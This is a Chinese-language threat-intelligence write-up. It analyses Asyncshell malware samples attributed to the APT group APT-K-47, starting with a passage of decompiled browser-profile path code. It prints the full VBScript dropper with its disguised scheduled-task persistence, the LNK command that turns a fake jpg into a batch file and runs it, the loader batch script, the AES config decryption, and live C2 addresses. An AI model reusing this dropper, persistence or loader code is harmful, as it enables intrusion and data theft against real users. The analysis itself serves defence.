  while ( *++v5 )
    ;
  qmemcpy(v5, v4, v3);
  v7 = &v10;
  while ( *++v7 )
    ;
  strcpy(v7, "\\AppData\\Roaming\\SogouExplorer");
  Sleep(0x3E8u);
  sub_411C10((char *)Source);
  return 0;
}
int __stdcall sub_412210(int a1)
{
  int v1; // edx
  const char *v2; // ecx
  unsigned int v3; // eax
  const char *v4; // esi
  char *v5; // edi
  char *v7; // edi
  char v10; // [esp+7h] [ebp-20Dh] BYREF
  int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
  CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF

  sub_4116D0("Skype.exe");
  SHGetSpecialFolderPathA(0, pszPath, 7, 0);
  sub_432FF0(pszPath, "\\");
  strcpy((char *)Source, "C:\\Users\\");
  v2 = *(const char **)(v1 + 8);
  v3 = strlen(v2) + 1;
  v4 = v2;
  v5 = &v10;
  while ( *++v5 )
    ;
  qmemcpy(v5, v4, v3);
  v7 = &v10;
  while ( *++v7 )
    ;
  strcpy(v7, "\\AppData\\Roaming\\Microsoft\\Skype for Desktop");
  Sleep(0x3E8u);
  sub_411C10((char *)Source);
  return 0;
}
int __stdcall sub_412300(int a1)
{
  int v1; // edx
  const char *v2; // ecx
  unsigned int v3; // eax
  const char *v4; // esi
  char *v5; // edi
  char *v7; // eax
  char *v9; // eax
  char v12; // [esp+7h] [ebp-20Dh] BYREF
  int Source[65]; // [esp+8h] [ebp-20Ch] BYREF
  CHAR pszPath[260]; // [esp+10Ch] [ebp-108h] BYREF

  sub_4116D0("360se6.exe");
  SHGetSpecialFolderPathA(0, pszPath, 7, 0);
  sub_432FF0(pszPath, "\\");
  strcpy((char *)Source, "C:\\Users\\");
  v2 = *(const char **)(v1 + 8);
  v3 = strlen(v2) + 1;
  v4 = v2;
  v5 = &v12;
  while ( *++v5 )
    ;
  qmemcpy(v5, v4, v3);
  v7 = &v12;
  while ( *++v7 )
    ;
  strcpy(v7, "\\AppData\\Roaming\\3");
  v9 = &v12;
  while ( *++v9 )
    ;
  strcpy(v9, "60se6\\User Data\\Default");
  Sleep(0x3E8u);
  sub_411C10((char *)Source);
  return 0;
}

总结

image

APT-K-47 Asyncshell Version3 Analysis

来源

APT-K-47,绰号 Mysterious Elephant(神秘象) ,来自南亚的高级持续性威胁组织,主要攻击目标为巴基斯坦、中国、俄罗斯、孟加拉国和美国,攻击手段围绕社会工程学展开,根据热点信息投递诱饵进行钓鱼,进而入侵目标并窃取敏感数据。

APT-K-47 从2023年开始频繁使用 Asyncshell 发起攻击活动,并逐步对攻击链和载荷代码进行升级,本样本于2024年7月捕获,为 Asyncshell 的第二代变种,记作 Asyncshell-Version3

同期样本MD5:

7728fee377137e83e9bd1c609cc166c0

dad7d9528e9506ebd0524b3ebd89ddf2

攻击链条:

image

图片来自知道创宇404实验室

样本分析

MD5值:b28bb7cabfb12e9bc5b87692b065c83a

image

文件结构分为两部分,一个是文件夹_Anx​里面是攻击载荷,另外一个是伪装成pdf的lnk快捷方式。

image

image

C:\Windows\System32\cscript.exe _Anx\_Anx\Anx.vbs

调用cscript.exe​运行_Anx\_Anx​下的恶意代码

image

其中AnxAnx.vbsfilename.lnkSysConfig.enc 为隐藏文件,Islamabad_Security_Dialogue_Pub.pdf 为正常pdf文件,内容为2021届伊斯兰堡安全对话

MD5值:162a9b9aee469b8de10c37c6311906cd

image

Anx.vbs脚本的主要作用是移动文件、创建计划任务,并执行恶意代码

MD5值:c3d460ac3a93e86782c2bc374aa5ecd2

REM 为了便于阅读,我添加了注释
Dim objFSO
Dim strFilePath
Dim strNewFilePath

Set objFSO = WScript.CreateObject("Scripting.FileSystemObject")
Dim currentPath
currentPath = objFSO.GetAbsolutePathName(".") 
strFilePath = currentPath & "\_Anx\_Anx\Anx"
strNewFilePath = strFilePath & ".exe"   '_Anx\_Anx\Anx 重命名为 Anx.exe
objFSO.MoveFile strFilePath, strNewFilePath
Set objFSO = Nothing

Dim fso
Set fso = WScript.CreateObject("Scripting.FileSystemObject")

Dim sourcePath,destinationPath,deleteFile,runfile,runfile2
sourcePath = currentPath & "\_Anx\_Anx\Islamabad_Security_Dialogue_Pub.pdf"
destinationPath = currentPath & "\Islamabad_Security_Dialogue_Pub.pdf"  '将Islamabad_Security_Dialogue_Pub.pdf 移动到根目录并命名为 Islamabad_Security_Dialogue_Pub.pdf
deleteFile = currentPath &  "\Islamabad_Security_Dialogue_Pub.pdf.lnk"  '删除伪装的快捷方式
runfile = Chr(34) & currentPath & "\_Anx\_Anx\Anx.exe" & Chr(34)
runfile2 = currentPath & "\_Anx\_Anx\Anx.exe"
runfile3 = currentPath & "\_Anx\_Anx\SysConfig.enc"
fso.MoveFile sourcePath, destinationPath
fso.DeleteFile deleteFile

Dim tempFolder, tempPath
tempFolder = fso.GetSpecialFolder(2)
tempPath = tempFolder & "\Anx.exe"
tempPath2 = tempFolder & "\SysConfig.enc"
fso.CopyFile runfile2, tempPath, True
fso.CopyFile runfile3, tempPath2, True

Dim v1
v1 = Chr(34) & destinationPath & Chr(34)
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run v1, 0, False
WshShell.Run runfile, 0, False 
Set WshShell = Nothing

Dim shellPath
Dim taskName   '设定计划任务'

    shellPath = tempPath
    taskName = "WindowsBackgroundService"  '计划任务命名为WindowsBackgroundService'
    Const TriggerTypeDaily = 1
    Const ActionTypeExec = 0
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
    Dim rootFolder
    Set rootFolder = service.GetFolder("\")
    Dim taskDefinition
    Set taskDefinition = service.NewTask(0)
    Dim regInfo
    Set regInfo = taskDefinition.RegistrationInfo
    regInfo.Description = "Update"
    regInfo.Author = "Microsoft"

    Dim settings
    Set settings = taskDefinition.settings
    settings.Enabled = True
    settings.StartWhenAvailable = True
    settings.Hidden = False
    settings.DisallowStartIfOnBatteries = False

    Dim triggers
    Set triggers = taskDefinition.triggers

    Dim trigger
    On Error Resume Next
        CreateObject("WScript.Shell").RegRead ("HKEY_USERS\S-1-5-19\Environment\TEMP")
        If Err.Number = 0 Then
            IsAdmin = True
            Set trigger = triggers.Create(8)
        Set trigger = triggers.Create(9)
        Else
            IsAdmin = False
        End If
        Err.Clear
        On Error GoTo 0
        '使用 WScript.Shell.RegRead 检查注册表项,以判断是否具有管理员权限。如果是管理员权限,则尝试配置更多类型的触发器。
    Set trigger = triggers.Create(7)
    Set trigger = triggers.Create(6)
    Set trigger = triggers.Create(TriggerTypeDaily)
    Dim startTime, endTime

    Dim time

    time = DateAdd("n", 2, Now)
    Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
    Dim tTime, tDate

    cSecond = "0" & Second(time)
    cMinute = "0" & Minute(time)
    CHour = "0" & Hour(time)
    cDay = "0" & Day(time)
    cMonth = "0" & Month(time)
    cYear = Year(time)

    tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & ":" & Right(cSecond, 2)
    tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
    startTime = tDate & "T" & tTime

    endTime = "2099-05-02T10:52:02"   '持续运行到 2099 年
    trigger.StartBoundary = startTime
    trigger.EndBoundary = endTime
    trigger.ID = "TimeTriggerId"
    trigger.Enabled = True

    Dim repetitionPattern
    Set repetitionPattern = trigger.Repetition
    repetitionPattern.Interval = "PT59M" '
    Dim Action
    Set Action = taskDefinition.Actions.Create(ActionTypeExec)
    Action.Path = shellPath
    Action.arguments = ""
    Dim objNet, LoginUser
    Set objNet = CreateObject("WScript.Network")
    LoginUser = objNet.UserName

        If UCase(LoginUser) = "SYSTEM" Then
        Else
        LoginUser = Empty
        End If

    Call rootFolder.RegisterTaskDefinition(taskName, taskDefinition, 6, LoginUser, , 3)

Anx.exe MD5值:316e8d798f7db625c207532e2f7a5d38

image

存在混淆加密,exeinfo查看一下:

image

ConfuserEx 可以用 de4dot 进行反编译,

使用ConfuserEx加密混淆程序以及如何脱壳反编译-CSDN博客

然后拿dnspy得到原本逻辑

exe由C#语言编写

Sysconfig.enc 的解密函数:

image

    private static string smethod_2(string string_2, byte[] byte_1)
    {
        string result;
        try
        {
            byte[] buffer = Class0.smethod_3(File.ReadAllText(string_2));
            using (Aes aes = Aes.Create())
            {
                aes.Key = byte_1;
                using (MemoryStream memoryStream = new MemoryStream(buffer))
                {
                    byte[] array = new byte[16];
                    memoryStream.Read(array, 0, array.Length);
                    aes.IV = array;
                    using (ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV))
                    {
                        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read))
                        {
                            using (StreamReader streamReader = new StreamReader(cryptoStream))
                            {
                                result = streamReader.ReadToEnd();
                            }
                        }
                    }
                }
            }
        }

很明显的AES解密,

image

AES类型是CBC,

Key:CABE08AAAD1B49AABEE701762A39ADF2865EE10160F9A726ACC8B7589FA2BF0C

image

IV:image

得到:

image

IP:46.183.187.42​ Port:443

微步标签如下:

image

image
image

此外,在样本中我们发现有多余的快捷方式

image

通过追踪该文件MD5 ae55cb4988f2f45197132631f5a86632​,可以关联到具有类似压缩包目录结构的钓鱼样本。

参考链接

APT-K-47 武器披露之 Asyncshell 的前世今生

疑似 Mysterious Elephant 组织利用 CHM 文件攻击南亚多国

APT-K-47 Asyncshell Version1 Analysis

来源

APT-K-47,绰号 Mysterious Elephant(神秘象) ,来自南亚的高级持续性威胁组织,主要攻击目标为巴基斯坦、中国、俄罗斯、孟加拉国和美国,攻击手段围绕社会工程学展开,根据热点信息投递诱饵进行钓鱼,进而入侵目标并窃取敏感数据。

该样本于2024年1月捕获,MD5:2fe895b10d493cfef981aa708bbcc12d

同期样本MD5

ce6a589d5e3604112e5595a1f8d53e1e

751f427da8e11d8ab394574260735220

样本分析:

md5值:2fe895b10d493cfef981aa708bbcc12d

部分十六进制:

image

可以看到该文件是zip压缩包,将其解压后得到新的rar压缩包,文件名:AbroadDuty.rar,

md5值:7a2c0e0a7ac1d8b91654e762a098f120

再次解压可得到MOM.pdf​以及同名文件夹

image

MOM.pdf md5:c28d5cfe0141aa093f078d7e9ab3257e

文件内容与政府工作报告相关:

image

~temp​目录下得到另外的~temp​文件夹以及AbroadDuty.pdf​,经校验md5发现与MOM.pdf​属于同一文件

在目录MoM.pdf_\~temp\~temp\~temp\~temp\~temp\~temp\~temp\~temp\​得到真正的攻击载荷

image

此处利用CVE-2023-38831, WinRAR 的逻辑漏洞,在处理精心设计的压缩包时会导致多余的临时文件扩展,再加上在尝试打开扩展名包含空格的文件时 Windows ShellExecute 执行其中的恶意代码。当用户尝试查看 ZIP 存档中的正常文件(例如普通的 PNG 文件)时,该漏洞允许攻击者执行任意代码。

0.jpg md5:b804da107e65d18c1fa585b00dc10a4f

MoM.pdf .lnk md5:6a405d4e88b4acb9706e19a83aad9cf6

put.png md5:ce6a589d5e3604112e5595a1f8d53e1e

MoM.pdf .lnk内容:

image

%windir%\system32\cmd.exe /c for /f "delims=" %F in ('where /r %Temp% 0.jpg 2^>nul') do copy "%F" "%F.bat" & "%F.bat"

运行后会调用cmd进行递归搜索 %Temp%​ 目录寻找 0.jpg​ 文件,然后将找到的 0.jpg​ 文件复制为同名的 .bat​ 批处理文件并且执行它

0.jpg:

image

@echo 0ff
pushd "%~dp0"
rename *.png *.exe
start /min put.exe
start Mom.pdf
exit

关闭回显,将批处理所在的路径设为当前路径,将当前目录下的png文件统一更改为exe文件,此时put.png更名为put.exe,最小化启动put.exe,启动Mom.pdf文件,执行完后退出。

put.png:

image

发现是exe可执行程序

image

image

经分析发现,该恶意程序通过连接C2服务器完成cmd shell,C2的IP地址明文写到程序中

image

185.243.113.187
Connected to server.
Error connecting to the server: AConnection lost. Reconnecting...
Error executing command: !Error occurred: Attempting to reconnect in {0} seconds...
Exiting the application.
Max reconnection attempts reached. 
Exiting the application.
exit)
Server disconnected.
'cmd/c powershellCommand: 
Output:

微步标签:

image

image